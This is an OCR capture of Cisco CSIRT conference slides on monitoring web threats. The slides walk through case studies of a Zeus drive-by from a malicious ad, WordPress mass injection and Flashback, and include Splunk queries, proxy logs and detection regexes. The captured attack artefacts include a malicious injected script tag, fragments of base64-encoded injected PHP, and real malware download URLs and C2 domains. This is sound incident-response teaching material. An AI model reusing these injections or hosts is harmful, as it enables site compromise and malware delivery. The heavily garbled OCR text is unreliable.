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- Jeff Bollinger, Investigator — Cisco: Computer Security Incident Response
eam (CSIRT)

« CSIRT = Security Monitoring and Incident Response
 Architecture, Engineering, Research, and Investigations

» Enterprise global threat and incident response
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Agenda

- Web Threat Landscape and Trends
* Real Incidents
* Web Security Monitoring In Practice

* Choose Your Own Adventure
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Growing Software Threatscape

2011

“...the number of vulnerabilities affecting typical end-points has more than tripled with
the majority of these (78%) found in non-Microsoft (third-party) programs, which are
considerably more difficult to patch as several different update mechanisms are
required.”

« “72% of the vulnerabilities had a patch available on the day of vulnerabillity disclosure.”

“50% of users were found to have more than 66 programs installed from more than 22
different vendors.”

Source: Secunia Yearly Report 2011.
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Web Attacks are Still Hot!

2012

 There was a 27% increase in the number of malicious domains from 2011 to 2012 and
a 47% increase from 2010 to 2011.

 An average of 20,141 unigue Web malware hosts were encountered per month in
2011, compared to a monthly average of 14,217 in 2010.

* During 4Q11, 33% of Web malware encountered was zero-day malware not

detectable by traditional signature-based methodologies at the time of encounter.

Source: Cisco Global Threat Report Q42011.
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Username & Passwords

Once hacked, cyber ciminals can install programs on
your computer that capture all your keystrokes, including
your usemame and password, That information is usad
o log into your online accounts, such as:

® Your bank or financial accounts, where they can
steal or transfer your money
Your iCloud, G e Drive, or Dropbox accown! where
os
they can access all yowr sensitive dals

Your Amazon, Walmart or other anling shopping

accounts where they can pwchase goods in youwr name.

Your UPS or Fedex accounts, where they ship stofen

Qoodas n your name

Email Harvesting

Once hacked, cyber criminals can read your emad for
information they can sell 1o others, such as

o Al the names, email addresses and phone
numbers from yowr confact hist

® Al of your personal or work emal

Virtual Goods - e

Once hacked, cyber crniminals can copy and steal any
virtual goods you have and sell them l': ul' ers, such as

® Youwr omiine gaming characters, gaming goods
Or gaming currencies.

® Any soffware hcenses, operating system lcense
kays, or gaming licenses

Botnet

Once hacked your ¢ omputer can be connected 1o an
entire network of hacked computers controlled by the
cyber crimmnal. This network, called a botnet, can then be
usad for activities such as:

°
) La.:.'.cmm; Denial al‘ ‘:-em'fe :f!‘eLks.

You may not realize it, but you are a target for cyber
criminals. Your computer, your mobile devices, your
accounts and your information all have tremendous
value. This poster demonstrates the many different
ways cyber criminals can make money by hacking
you. Fortunately, by taking some simple steps, you
can help protect yourself and your family. To learn
more, subscribe to OUCH!: a security newsletter
designed to help people just like you.

wwwisecuringthehumantorg/ouch

Identity Hijacking

Once hacked. cyber cniminals can steal your online
identity to commit fraud or sell your identity to others
such as

® Your Facebook, Twitter or Linkedin account
® Your emal accounts
® Your Skype or other IM accounts

Web Server

Once hacked, cyber cnminals can tum your computer
nto a web server, which they can use for the following:

® MHosting phishing websiles to sfeal other people’s
usemames and passwords

®  Haosting attacking tools that will hack people’s
computers.

® Distnbuting child pornography, pirated videos
or stolen music

AUELTSE]L
Once hacked, cyber criminals can scan your system
ooking for valuable information, such as

® Youwrcredit card infornmation.
® Your tax records and past flings.
®  Your financial investments and retirement plans

Extortion
Once hacked, cyber criminals can lake over your
computer and demand money. They do this by:

® Taking pictures of you with your compuler
camera and demanding payment to destroy
or not refease the pictures.
Encrypting all the data on your computer
and demanding p. v;nwm to decrypt it
Tracking all websites you visit and threatening

fo publish them.

—“-"

This poster is based on the criginal work of Brian
Krebs. You can learn more about cyber criminais

al hes blog &t hilp.Vkrebsonsecurily
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The web browser Is not the only target, the whole browsing

ecosystem Is at risk.




Your Browser i1s an OS

Browser Plug-ins
100%

M % installed

B % vulnerable

10% -

Flash WinMedia Reader Java Silverlight QuickTime Shockwave .
Source: “The Inconvenient Truth About the State of Browser Security”, 2011. Wolfgang Kandek, CTO Qualys, Inc. G
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“Looking long term, upwards of 60% of Java installations are never up
to the current patch level. Since so many computers aren’t updated,
even older exploits can be used to compromise victims.

...We found that during the first month after a Java patch is released,
adoption is less than 10%. After 2 months, approximately 20% have
applied patches and after 3 months, we found that more than 30% are
patched. We determined that the highest patch rate last year was 38%
with Java Version 6 Update 26 3 months after its release.”

- Marcus Carey, Rapid7

Source: Krebs on Security “New Java Attack Rolled into Exploit Packs”. March, 2012.
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Java virtual machine

From Wikipedia, the free encyclopedia
[ Aedirected from Jawva Wirtual Machine)

A Java virtual machine (JVM) is a virtual machine capable of executing Java bytecode. It is the code execution component of the Java software platform. Sun Microsystems stated that there are over 5.5 billion JVM-
enabled devices.[]

Contents [hide]
1 Overview
2 Execution environment
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4 Bytecode werifier
5 Bytecode instructions
6 Heap
7 Secure execution of remote code
8 C to bytecode compilers r
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11 Notes
15 Extormat ks
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Overview

A Java virtual machine is software that is ir
features as automated exception handling,
libraries that implement the Java applicatior

JWMs are available for many hardware and

to "write once, compile anywhere", which de Statug II"IEtEI"II"Ig -\.IEI"."EI

Java bytecode is an intermediate language

executed on a JVM. lllll

Oracle, the owner of Java, produces a JVM
obligations.

The Oracle JVWM (HotSpot) is written in the |

Execution environment =dit]

Oracle's Java execution environment is terr

Programs intended to run on a JVYM must b - - -
T IHion wvevices nhun Java
The Java application launcher, jawva, offers

The JVM runtime executes .class or . ja
today to achieve greater speed. There are a

As

Like most virtual machines, the Java virtual
capability-based architecture.

JVM languages

BRKSEC-2010 © 2013 Cisco and/or its affiliates. All rights reserved. Cisco Public

Jawa source files

i.jawa)
clas= Foso {
L wy
¥
:
javac

Jawa bytecode files
i.class/ jar)

iconst_8
imleoad
istore 1

Pywthon source files
Pyl

]
jwthon

Jawva bytecode files
(.class/ jar)

N

g:’

ilomd 1
Intel x86 JVM**

Bytecode
werifier
Memory
manager
JRE lgarbage | |nterpreter /

collection] | |IT cempiler

Jlawva APls

PC Operating system

-

1N
ArmM v YWY

Bytecode
werifier
Mermory
manager
IRE lgarbage | |nterpreter ¢

collection] [ |IT compiler

Jlawva APls

Mohbile Operating system

Overview of a Java virtual machine (JWVM) architecture. Source code is &
compiled to Java bytecode, which is werified, interpreted or JIT-compiled for the
native architecture. The Java APls and JVM together make up the Java Runtime

Envircnment (JARE).

ounts to a highly idiosyncratiglctarification needed] mamory model and

[edit]
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Playbook Report IDs Zeus Downloads

Splunk App - | Manager | Alerts | Jobs | Logout

Summary Search Views ~ Searches & Reports - ® Help | About

Search Actions -

index="fireeye" binary-analysis | rex "rt=(?<time>.*)src" | rex "cs6=.*Host:\s*(?<dst_domain>.*?)::~~" | rex "cs6=(?<request>.*?)::~~" | rename csl as malware | table time malware during Thursday, March 22, - “ Down |Oa d S fro m 9 1 2 18 2 30 94
[ ] [ ] L]

smac src shost spt dst dst_domain dpt request | sort malware | eval dst_ip domain = if({isnotnull(dst_domain), dst_domain, dst) | eval dst_ip_domain_request = if(isnotnull(request), 2012
dst_ip_domain. " ==» ".request, dst_ip_domain) | stats values{dst_ip_domain_request) as dst_ip_domain_request by malware src shost dpt
EX )

SR Majority of downloads from India sensor

© 310 matching events

~ Timeline:

a5

N 4
_—

dst_ip_domain_request =

127.0.0.20

) ) ireEye-TestEvent-SIG
56 fields | Pick fields

91.218.230.84
N | Field dise InfoStealer.Banker.Zbot
‘:""‘:ﬁ" flees @ | InfoStealer.Banker.Zbot 10.142.120.77 91.218.230.94
source {1 InfoStealer. Banker.Zbot 10.142.9.71 91.218.230.84

sourcetype (1)

InfoStealer. Banker.Zbot 10.19.25.243 usersS.nofeehost.com === GET /patrickkeed/all.bin HT

Other interesting fiel
cni (n) (2)
cnilLabel (1)

InfoStealer. Banker.Zbot 10.18.25.243

91.218.230.84

cn2 (n) (23)
cnZlabel (1)
csilabel (1)

InfoStealer. Banker.Zbot 10.65.66.245

91.218.230.84

InfoStealer. Banker.Zbot 10.65.69.164

91.218.230.84

cs4 (2100)

il ol 1] foStealer. Banker.Zbot

91.218.230.84

dmac (8)
dpt (n) (4)
dst (21)

‘=aler.Banker.Zbot

sers9.nofeehost.com === GET /pafrickk

dve (4)
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0o Deccan Herald: Latest News, Nation, World, Business, Technology, Karnataka News & Headlines =

v

| http://www.deccanherald.com/

Deccan Herald Hosts Malicious Ad

Redirect 10 91.218.230.94

Login | Register

Book () Round Trip Leaving from:  Going to: Passengers: mm”%}g,l’
______ * —— =
LOWEST AIRFARES YO}II’ © Oneway ([—® ([—© )

Air Depart Date: Return Date: . it
HERALD [z A e

Weather In Bangalore
Tuesday 27 March 2012 - - m NG EES S 9
Google™ Custom Search e . 35.3°C
News updated at 2:29 AM IST ‘ Fustom Seaen ‘ n =) | M;x: 18.4°C =/ Sunny day

Home | News | New Delhi | Business | Supplements | Sports | Entertainment | Opinion | Feedback | Archives | Jobs

kes oath in Lok Sabha ‘Dravid true team-man Metro in UP cities soon  Govt recognises MD degrees of 5 countries: Azad TN tops TV, cell phone penetra

Horoscope splunk

News
CBIl seeks written I will miss being part of dressing * Year 2012 ‘ Summary Search Views -  Searches & Reports ~

¢ room: Dravid « Weekly
complaint from General V :

« Dally Astrospeak 15

Search Actions ~

Site serves malicious .jar file

Alerts

Manager

App -

Jobs

® Help

Logout

About

Mar 21, 2012 - Mar 23, 2012 ~ n

c_ip (2100) hitp:/fazy5d.dyndns.org/de/s1==>81.218.230.94

€s_met] 10.108.30.230 hitp:/fafd7g.dyndns.org/de/s1==>91.218.230.94

©s_mime_type (4) 10.108.30.233 _http:/agri.dyndns.org/defs1==>01.218.230.94

httpiwww.deccanherald.com/

http:ifwww.deccanherald.com/

K singh « Calender 2012 ENG index=wsa 91.218.23@.94 | eval dst_ip_domain=cs_url."==>".s_ip | stats values(dst_ip_domain) as dst_demain values{cs_referer) as referer by c_ip
s. RS T e SL [ -]
N ™ <
A day after Army chief Gen L Movie Guide
V K Singh dropped a WE SALUTE YOU S Ran © 1,972 matching events / Creale alert @ Add to dashboard [ Save search 51l Show report
i |
bribery bombshell that had D ChE - Timeiine: € zoomin @) zoomout  Scale: E linear — log 1bar =1 hour
reverberations in SLK
Parliament, the Central 100 100
Bureau of Investigation - & 60
(CBl)lost no time, swinging - 4:00 PM | a10PM | a20pPM |aa0Pm |40 PM |a50PM
into action on Tuesday, Directed by Mohan and ;\m Mar 28
making preliminary inquiries and... & b 2
» 'Dravid true team-man produced by MN Decce
» Defamation suit against Army chief Kumar,Narasimha will 45 fields | Pick fields 480 results from March 21 through March 22, 2012
i ic di Karn
» Team-mates shower praise on The see music director Field discov _ -
» Four other officers also accused Wall Heamestolasnd k] [N | Field di ery = | « prev n 2 3 4 5 6 7 8 9 10 nexts | Options.. Results per page 10 ~|
__| Selected fields (3)
» Stir against K'kulam plant called off Photo Gallery st (8) Cverlay:| None El
Blast kills 12 CRPF men in M’rashtra S source (23 cip ¥ dst_domain * referer ¢ N
» Dancer shot dead for spurning tipsy . .
A landmine explosion killed 12 audience sourcetype (1) 10.108.3.178  hitp:/facOe6.dyndns.org/de/s1==>91.218.230.84 httpaifwww.deccanherald.comi
Other interesting fields (26) 10.108.30.229 http:Mazy5d.dyndns.org/de/hudjkrgggtguijtikpijpgtieetkged].jar==>91.218.230.94 S — hitp:www.deccanherald.com/

dst domain -

referer ~

http:/facleo.dyndns.org/de/s1==>31.218.230.94

=>01.218.230.94

http:/fazy5d.dyndns.org/

http://'www.deccanherald.com/

http://www.deccanherald.com/

fget=8&withtex

lget=Bwithtex
|

hudjkrggatgufjtikpijpatieetkged).ja
\ /
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Resilient Exploit Hosting

= Hundreds of hostnames for the JAR

delivery host

= Zeus bot is loaded

= Zeus config Is fetched

= Information captured

BRKSEC-2010

© 2013 Cisco and/or its affiliates. All rights reserved.

Found 390 RRs in 0.02 seconds.

lpokaz.ru.

azdps

azsay.

azim9

az8jx.
azf9iq.

azahs

azbvua.
a2 CHm .
azdyq.
azgon.

azhsa.

azme7

-.dyndns.
dyndns.

.dyndns.
dyndns.
dyndns.
.dyndns.
dyndns.
dyndns.
dyndns.
dyndns.
dyndns.
.dyndns.

Cisco Public
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91.
9]1.
9]l.
91.
91.
91.
91.
9]1.
91.
91.
9]l.
91.
91.

218.
218.
218.
218.
218.
218.
218.
218.
218.
218.
218.
218.
218.

230.
230.
230.
230.
230.
230.
230.
230.
230.
230.
230.
230.
230.
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Jar File Downloads Zeus Exe

la/4.0 (windows 7

Stream Content

o T IR .dyndns org . k R, . GrREEr 5o =D s
(0., &, ext/html, 1mage/glf, image/jpeg, *, KL o S O e =...META-INF/

MANIFEST.’

A B e R e e . - 2 R e R R R R YRS afTests Clas SPK: ot e iR iR R iR Rt TaGs GET /de/
Ujrfgjri ion: keep-alive

User-Ar
Host: /
Accer /
Conr

Packet Capture
o

te: Thu, 22 Mar 2012 14:01:49 GMT
ontent-Type: application/octet-stream
-Powered-By: PHP/5.2.10
ontent-Disposition: inline;
Content-Length: 151552 |
/ia: 1.1 B S e . cisco.com:80 (IronPort

c Shows “PE” header,
Indicating an “exe” download

| run in DOS mode.

onnection: keep-alive T TS S
B U =~ A0 eiD ey e nnne ne neme DO
- e s data...p....p.? ..... Ve @....rsr
5 CREEEEETEEETPRTRRRRRE B e,
AR .0@..E..M.4t.e.%|t@..}@....=_}@..E....
:Eé' 0.5, r{.~r{=.r{=..... p{=.r{<.v{=.N." .w{=
B,
O R R R
waBy
.0@.
-6@......A.D5huV3. I L L L i i e e )" . A
= cees .. O e N TPE | Y 3 |- AP =xt@.6.=Xt@. .=Xt@.
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Sandbox Analysis

Process Creation

O

"25/3/2012 2:33:55.?3?","reﬁistri","Setvalueﬂei","c:xmalware_aﬁalysiskﬂ!?eddd!d.e:e","HKCUESuftwarexHicrnsuftﬁﬂinduwskturrentversiuanxplnrerxshell Folders\AppData"
"25/3/2012 2:35:B.SB?","prucess",fcreated","E:xmalware_analysisxﬂz?edddﬂd.e:e","E:xﬂncuments and_Settingsxadministratnrﬁﬁpplicatinn Data\Ykgoy\ypta.exe"

J

“25/3/2812 2:39:
"25/3/20812 2:39:

Registry Key Creation

™

o,

7.556","registry”,"SetValueKey","C:\WINDOWS\explorer.exe", "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\{F561587E-5C96-37AB-9701-D8881175F61B}"
7.753","registry”,"SetValueKey","C:\WINDOWS\explorer.exe", "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\{F561587E-5C96-37AB-9701-D0081175F61B}"

)

<

Network Activity \
1 ©0.000000 192.168.1.100 -> 4.2.2.2 DNS 80 Standard quéry A users9.nofeehost.com
4 0.827015 4.2.2.2 -> 192.168.1.100 DNS 96 Standard query response A 192.168.1.2
HTTP/Requests value rate percent
HTTP Requests by HTTP Host 1 0.048534
users9.nofeehost.com 1 0.048534 100.00%
/patrickkeed/all.bin 0.048534 100.00%

BRKSECL-ZU1U © £ZU1s CISCO ana/or Its arrates. All rgnts reservea.
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B 32212 1332460612.952 1818 - TCP_MISS/288 149801 GET
11:56:52.952 PMhttp://atd4ps.dyndns.org/de/rghqggspplejecjtudtscistkpcjkfclp.php?fid=java_ara&tid=171831588quote=us& - DIRECT/atd4ps.dyndns.org
application/x-dosexec DEFAULT_CASE_11-DefaultGroup-DefaultGroup-NONE-NONE-NONE-DefaultGroup
<-,0.0,"8","-",0,08,08,"-","-",-,-,-,"-","8",8,"-","-",-,-,-,-,"Unknown" , " -" """, n" """ 659.19,0,-,"-","-"> - "Mozilla/4.8 (Windows
XP 5.1) Java/l1.6.0_25" 91.218.230.94 -

3/22/12 1332460610.423 528 - TCP_MISS/20@ 5915 GET http://atd4ps.dyndns.org/de/ertedlgpjhfeclrqjrqccfkjpcqdrsdp.jar - DIRECT/at4ps.dyndns.org

11:56:50.423 PMapplication/x-zip DEFAULT_CASE_11-DefaultGroup-DefaultGroup-NONE-NONE-NONE-DefaultGroup
{_JE'EJIIEIIJII_IIJEJEJEJII_II.III_II.I_.I_.I_JII_IIJIIEIIJEJII_IIJII_II.I_.I_.I_J_Jllunknuwnlljll_lljII_IIJII_IIJII_II.III_IIJBB'EZJEJ_JII_IIJll_ll} - IIMDZillafq-'E (windnws
XP 5.1) Java/l1.6.0_25" 91.218.2308.94 -

3/22/12 1332460609.673 489 - TCP_MISS/28@ 5915 GET http://atd4ps.dyndns.org/de/ertedlgpjhfeclrqjrqccfkjpcqdrsdp.jar - DIRECT/atd4ps.dyndns.org

11:56:49.673 PMapplication/x-zip DEFAULT_CASE_11-DefaultGroup-DefaultGroup-NONE-NONE-NONE-DefaultGroup
{-JE,EJ"E"J"-"JEJEJEJ"-"-I"-"-I-J-J-JII-IIJ"EUJEJ"-"-I"-"-I-_l_-_l-_._-_I"Unl'(nuwn"_l"-"J_"-"J_"-"J_"-"J_"-IIJBE.??JEJ-J"-"J"-"} - "HDZillafq-.e (windnws
XP 5.1) Java/1.6.0_25" 91.218.2308.94 -

3/22/12 1332460595.862 776 - TCP_MISS/20@ 1177 GET http://atd4ps.dyndns.org/de/sl - DIRECT/atdps.dyndns.org text/html

11:56:35.062 PMDEFAULT_CASE_11-DefaultGroup-DefaultGroup-NONE-NONE-NONE-DefaultGroup
{_JE*EJIIEIIJII_IIJEJEJEJII_II.III_II.I_J_J_Jll_lljlllllj_.lII_II.III_II.I_J_J_J_JllunknuwnlljII_IIJII_IIJII_IIJII_IIJII_IIJ12*13JEJ_JII_IIJII_II} - "MDZillafﬂ-.E
(compatible; MSIE 8.8; Windows NT 5.1; Trident/4.©; .NET CLR 1.1.4322; .NET CLR 2.8.58727; .NET CLR 3.0.4586.2152; .NET CLR 3.5.38729;
InfoPath.2; .NET4.eC)" 91.218.238.94 "http://www.deccanherald.com/"

3/22/12 1332460452.726 568 - TCP_MISS/20@ 1498 GET http://atd4ps.dyndns.org/de/sl - DIRECT/atdps.dyndns.org text/html

11:54:12.726 PMDEFAULT_CASE_11-DefaultGroup-DefaultGroup-NONE-NONE-NONE-DefaultGroup
{-JE.EJ"E"J"-"JEJEJEJ"-"_I"-"_I-J_-_I-_l_"-"_._"j."_l_-_l"-"_I"-"_I-J_-_I-_I_-_I"Unl'(nuwn"_l_"-"J"-"_I_"-"J"-"_I_"-"J_zl...q-e_le_l_-J"-"J"-"} - "HDZillEj‘rs.E (windnws
NT 6.1, WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.8.963.56 Safari/535.11" 91.218.230.94 "http://www.deccanherald.com/"

3/22/12 1332460380.582 487 - TCP_MISS/302 628 GET http://atd4ps.dyndns.org/de/sl - DIRECT/atd4ps.dyndns.org text/html

11:53:00.502 PMDEFAULT_CASE_11-DefaultGroup-DefaultGroup-NONE-NONE-NONE-DefaultGroup
{-JB,EJ"E"J"-"JBJEJBJ"-"J"-"J-ll_-.l-ll_"-".l"-".l_-.l"-"J"-"J-ll_--l-ll_-J"Llnl'(nuwn"-l"-"J_"-"J_"-"J_"-"J_"-"119,32JEJ-J"-"J"-"} - "HDZillaHS,E
(Macintosh; Intel Mac 0S X 18_7_2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.8.963.79 Safari/535.11" 91.218.238.94

"http://www.deccanherald.com/"
Ciscoll Vfr
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CSIRT’s Response

. Day Malws.
» ) t0o.
E_jo Zeus Infectiol step 1: Malware Subm
:—;r:au s D, Matthew Valites | last e nload the malware sample ( eith
i _ist | Search | Add | Remc ed or the malware flls witky
The Zeus Trojan utilizes key I g
information. Note that keylog® “s: 762, Inactive BHs: 990 hhig e choyg
Ada IP
cow BGP cdims Follow
blackholed : CSIRT 0-
Zeus offendin domains to Da
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New Mass Injection Wave of WordPress Websites on the Prowl

—~New Mass Injection Wave of WordPress Websites on the Prowl
e ] Posted: 05 Mar 2012 08:00 AM

inst

e 1he Websense® ThreatSeeker® Network has detected a new wave of mass-injections of a well-known rogue antivirus campaign that we've

been following in Security Labs™ for months. The majority of targets are Web sites hosted by the WordPress content management system.
< At the time of writing, more than 200,000 Web pages have been compromised, amounting to close to 30,000 unique Web sites (hosts). The
Ane INjection hijacks visitors to the compromised sites and rediects them to rogue AV sites that attempt to trick them into downloading and

.=*installing a Trojan onto their computer.

Sec
with

T The injected code is very short and is placed at the bottom of the page, just before </body> tag.

</DIV> <!'== END body=-wrapper ==>
<script sre="http://ionisd%0landsi.rr.nu/mm. php?d=1"></script>

</BODY>
= </HTML>

W ad Loewe
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Sl oy . wlmeted bey .
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Internal clients requested 650+ unique URLStwo Wdeks =) &5 . s

New Mass Injection Wave of WordPress Websites on the Prowl

Broad fange of doiains. and URLS.LeQUESEE: ... oo oo e o st e

been following in Security Labs ™ for months. The majority of targets are Web sites hosted by the WordPress content management system.
At the time of writing, more than 200,000 Web pages have been compromised, amounting to cliose to 30,000 unique Web sites (hosts). The
injection hijacks visitors to the compromised sites and rediects them to rogue AV sites that attempt to trick them into downilocading and
installing a Trojan onto their computer.

The injg
cs_referer~
<7 http:/izzzbo.dlinkddns .com'1 11/out.php
</H1

http:/ferwew weiners mith.comd?p=112

i the landing site is the

hittp:/fwene viwpost7F 383.org/ computer and scares the

indow with a "Windows

http:/fwenw. triathlonfamily.comforumdindex. php?s howtopic=11866 Z‘:Z’:;Z;’f; i :_’;"'"""‘
http:/Awnwew treinctotal.com. brirevista/2008/02/1 T/colageno-e-gelatina-confira-a-importancial

http:/fwnerw thegreatestmiraclemovie. com/newwp-admin/us er/jguery-ui-icons-example

http:./fhwwew thedailyfetch.comisilicon-valley/!

hitp./fenerw thedailyfetch.comdsan-mateoy

http:/fenerw thedailyfetch.comy

http:/fenerw tardigrade. biz/?page_id=730

http:/fwnwew srusado. ptiindex2. php

http:/fwnwrw . srusado. pt/A_empresa.php

http:/fwww . srusado. pt/

hitp:/fenenw simonwinthrop. comdindex . htm
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+« CURRENT EVENTS

VFW BINGO
7:00 PM - March 29, 2012

VFW Bingo Every Thursday Night

More Information

http://www.vfwpost7383.org/

Monthly Officers Meeting
9:00 AM - April 01, 2012

The post officers meet on the first
Sunday every month at 0900 hrs.

More Information

+ WHO WE ARE AND WHAT WE ARE ABOUT

@ TRE Mmand £
+ FIND US_' § Veteran...... A Veteran is.someone, who at gne point in their life, wrote a blank
VFW Post 7383 @ f:heck 'payablt'e t? the Un'rted States of America for an amount up to, and e s
522 Reedy Creek Road - including, their life. That is an honor, and there are way too many people in this
Cary, NC 27513 - country who no longer remember that fact.
AN < ¢ »
Phone . 919'467,.1-}’88 - | The organization Veterans of Foreign Wars of the United States, more . /
o el . commonly referred to as the VFW, "traces its roots back to 1899 when C|SCO l f
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ICRkZWNvIGVEX2NvbnRlbnQuiZ2lsXzciNygpOyAgfSAgfSAgb2Tfc3RhenQoJ21lyb2JoJyk7ICBIICRBO") ) ; 2>

<html xmlns="http://www.wl.org/1999/xhtml">

<head>
<title>VFW Post 7383 Franklin-Sloan in Cary, MNorth Carolina</title>
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ESsx0yAgfSAgaWYoJHOmMil7ICAke3RhenQrPTI7ICBOICAkemVOPUBnemluZmxhdGUoQEN1YnNOcigkZGVib2RILCRzdGFydCkpOyAgaWYoJHI1dDO9PUZBTFNFEXsgICRYyZXQ9TGR1Y29kETsgIHOgIHI1dAVYbiAkemV00OYAg
fSAgfSAgZnVuY3Rpb24gbXIvimgoJCNvbnR1bnQpeyAgQER1YWRlcignQ2%9udGVudClFbmNvEGluZzogbm9uZSepOyAgICGRIY29kZWREY29udGVudD InemR1Y29kZW10KCRjb2502ZWS0KTagIGImEEBY ZWdfbWFO0Y2g0Ty9cPFwy

Ym9keS9zaScsJGR1Y29kIWREY29udGVudCkpeyAgemV0dXTuIHBy ZWdfomVwbGF j2SgnLyhcPFwvim9keVieXD5dE1w+ES9zaScs221sXze3NygpLiJebiTulyQxJywkZGVib2R1ZF9ib2502ZW50KTsgIE11bEN]leyAgemVOdEJu
ICRkZWNvIGVEX2NvbnRlbnQuiZ2lsXzciNygpOyAgfSAgfSAgb2Tfc3RhenQoJ21lyb2JoJyk7ICBIICRBO") ) ; 2>
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VENT Macin{s
Firefox/10.0.2' Rgfgg&gg-' ttp:// MPOSM

7:00 PM - March 29, 2012

VFW Bingo Every Thursday Night

More Information

Monthly Officers Meeting

133251274699 1851671214 TEP_DENIE :

The post officers meet on the first e .rr.nU/nI.php?pzd
BLOCK_ WBRS8.6"" o7 ittay4.0 ( ’“i Lik OW®64; Trident/4.0;
PredictYourBabySearchToolbar 1 5] B3 -ors/"

+ WHO WE ARE AND WHAT WE ARE ABOUT
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Cary, NC 27513 country who no longer remember that fact.
“ »
Zhone FFacT 1t : The organization Veterans of Foreign Wars of the United States, more .
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R ] Choose Location: [ Labs 3
F-Secure." Search @
_] Labs ] News & Info Security Threats | Virus Encyclopedia ] Submit Samples ] Beta Programs ]
| Virus & Threat Descriptions | Vulnerability Reports | Mobile Security Threats | Threat Removal | Free Removal Tools |
Labs Labs = Security Threats = Virus Descriptions = Trojan-DownloaderOSX/Flashback.C
Latest Threals Trojan-Downloader:OSX/Flashback.C
Submit Samples
Detection Names : Trojan-DownloaderO5X/Flashback.C
Removal Tools Category: Malware
Type: Trojan-Downloader
Virus Encyclopedia Flatform: Ll X
Summary

Trojan-Downloader:OSX/Flashback.C poses as a Flash Player installer and connects to a remote host to obtain further
installation files and configurations.

= Not detected by IDS, Anti-Virus, FireEye, or WSA

= Drive-by attacks against CVE-2012-0507 /
Cisco["/a
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> Sorokin Ivan ¥ Follow
W @hexminer

First C&C servers of new BackDoor.Flashback
according to version: 1 - vxvhweixexgxd .com, 2 -
cuojshtbohnt .com, 4 - rffinahfiywyd .com

4 Reply T3 Retweet W Favorite

12:56 PM - 3 Apr 12 via web - Embed this Tweet

Search external intelligence for domains, URLS, or IPs used by flashback

Cisco[l'l/a/
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index=wsa cs_url=*vxvhwcixcxgxd.com* OR cs_url=*cuojshtbohnt.com* OR cs_url=*rfffnahfiywyd.com* Apr2,2012- Apr4,2012  ~

e s m

‘% 2237 matching events | 83,566,630 scanned events @ W @ © | screatealert & Addtodashboard [ Save search gull Build report

* Timeline:

2 237 events from April 2 through April 3, 2012

e E4 « prev n 2 3 4 5 next» | Options.. Results perpage ' 50 ¢
1 - 4/3112 1333497583.201 - 1~ —we.> 49779 91.233.244.102 88 - -5.8 http://cuojshtbohnt.com/statistics.html - 442 211 255
- 11:59:43.201 PM "Mozilla/5.8 (Windows NT 6.1; WOW64; rv:9.0.1; sv:2; i@BSFS-SIAS-AGAI-BBm Gecko/28108101
Firefox/9.0.1" text/html 288 TCP_MISS - "spam" "Domain usually high traffic vol a very recent
registration.” - - - @
host=1""¢ 77 =5 + | sourcetype=cisco_wsa_w3c ~ | source=w3c_sjck_wsa2 ~ | cs_useragent=Mozilla/5.0 (Windows NT 6.1, WOW®64, rv:9.0.1; sv:2,

id:CSB3F883-35F8-51A6-A6A1-BB1058190A8E) Gecko/20100101 Firefox/8.0.1 ~

2 - 4/3/12 1333497435.361 - 177w TS 62781 91.233.244.102 80 - -5.8F i index.html - 942 287 255
0 11:3715.361 PM"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.08.1; sv:4; id:183D7A7D- 24A8 5821 9699 BDE658675526Geck0/20100101
Firefox/9.0.1" text/html 288 TCP_MISS - "spam" “Domaln has unusue ~ af4 or a very recent
registration.”" - - - @
host=12 L o2 « | sourcetype=cisco_wsa w3c ~ | source=w3c_sjce_wsab ~ | cs_useragent=Mozilla/5.0 (Windows NT 6.1, WOW®S4, rv:9.0.1; sv:4,
id:103D7A7D-24A8-5821-86590-BDECSB675526) Gecko/20100101 Firefox/8.0.1 ~

Search C2s for evidence of infected hosts

Cisco[l'l/a/
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Investigative Approach

What Id do...
at you could do O

//Index=wsa . ‘\\

cs url="http://ASDFUH982HDODJC.COM*"; OR cs url="http://95.215.63.38*"; OR

cs url="http://godofwar3.rr.nu*"; OR cs url="http://ironmanvideo.rr.nu*"; OR
cs url="http://killaoftime.rr.nu*"; OR

cs url="http://gangstasparadise.rr.nu*"; OR

cs url="http://mystreamvideo.rr.nu*"; OR cs url="http://bestustreamtv.rr.nu*";
OR cs url="http://ustreambesttv.rr.nu*"; OR
cs_url="http://ustreamtvonline.rr.nu*"; OR cs url="http://ustream-tv.rr.nu*";
OR cs url="http://ustream.rr.nu*"; OR

cs _url="http://johncartermovie2012.com*"; OR cs;url="http://bodyrocks.rr.nu*i;/

= “Whack-a-mole” technique
= Inefficient and un-manageable

Cisco((‘/f/
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Investigative Approach

What we did...
Variant 1: O
index=wsa Windows NT 6.1 WOW64 rv\:9.0.1 Gecko\/20100101 | A

regex cs useragent="id: ([A-Za-z0-9]) {8}\-([A-Za-z0-9]) {4}\-([A-Za-2z0-9]) {4} \-
K([A—Za—zO—Q]){4}\—([A—Za—zO—9]){12}”

/
Variant 2 & 3:
/{hdex=wsa (auupdate OR scheck OR owncheck) AND (cs url="*/scheck/*" OR N\
cs_url="*/auupdate/*" OR cs_url="*/owncheck/*") |
regex

cs useragent=" (~[MN] [Djz] [BFINRVZdh1] [8] [a] [T] [M] [4] [N] [n]) | (* [MNOQR] [ODETUjkz
] [ABEFIJMNQRUVYZcdghkl] [012345BCDEFGwxyz] [MNOQR] [ODETUjkz] [ABEFIJMNQRUVYZcdghk
1] [012345BCDEFGwxyz] [MNOQR] [ODETUjkz] [AEIMQUYcgk] [t] [MNOQR] [ODETUjkz] [ABEFIJMN
QRUVYZcdghkl] [012345BCDEFGwxyz] [MNOQR] [CSiy] [01] [012345BCDEFGwxyz] [MNOQR] [ODET
Ujkz] [ABEFIJMNQRUVYZcdghkl] [012345BCDEFGwxyz] [L] [TU] [ABEFIJMNQRUVYZcdghkl] [012
345BCDEFGwxyz] [MNOQR] [ODETUjkz] [AEIMQUYcgk] [t] [MNOQR] [ODETUjkz] [ABEFIJMNQRUVYZ
cdghkl] [012345BCDEFGwxyz] [MNOQR] [ODETUjkz] [ABEFIJMNQRUVYZcdghkl] [012345BCDEFGw
xyz] [MNOQR] [ODETUjkz] [ABEFIJMNQRUVYZcdghkl] [012345BCDEFGwxyz] [MNOQR] [ODETUjkz]
[ABEFIJMNQRUVYZcdghkl] [012345BCDEFGwxyz]) "

(rvtﬁ
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Web Security Monitoring:
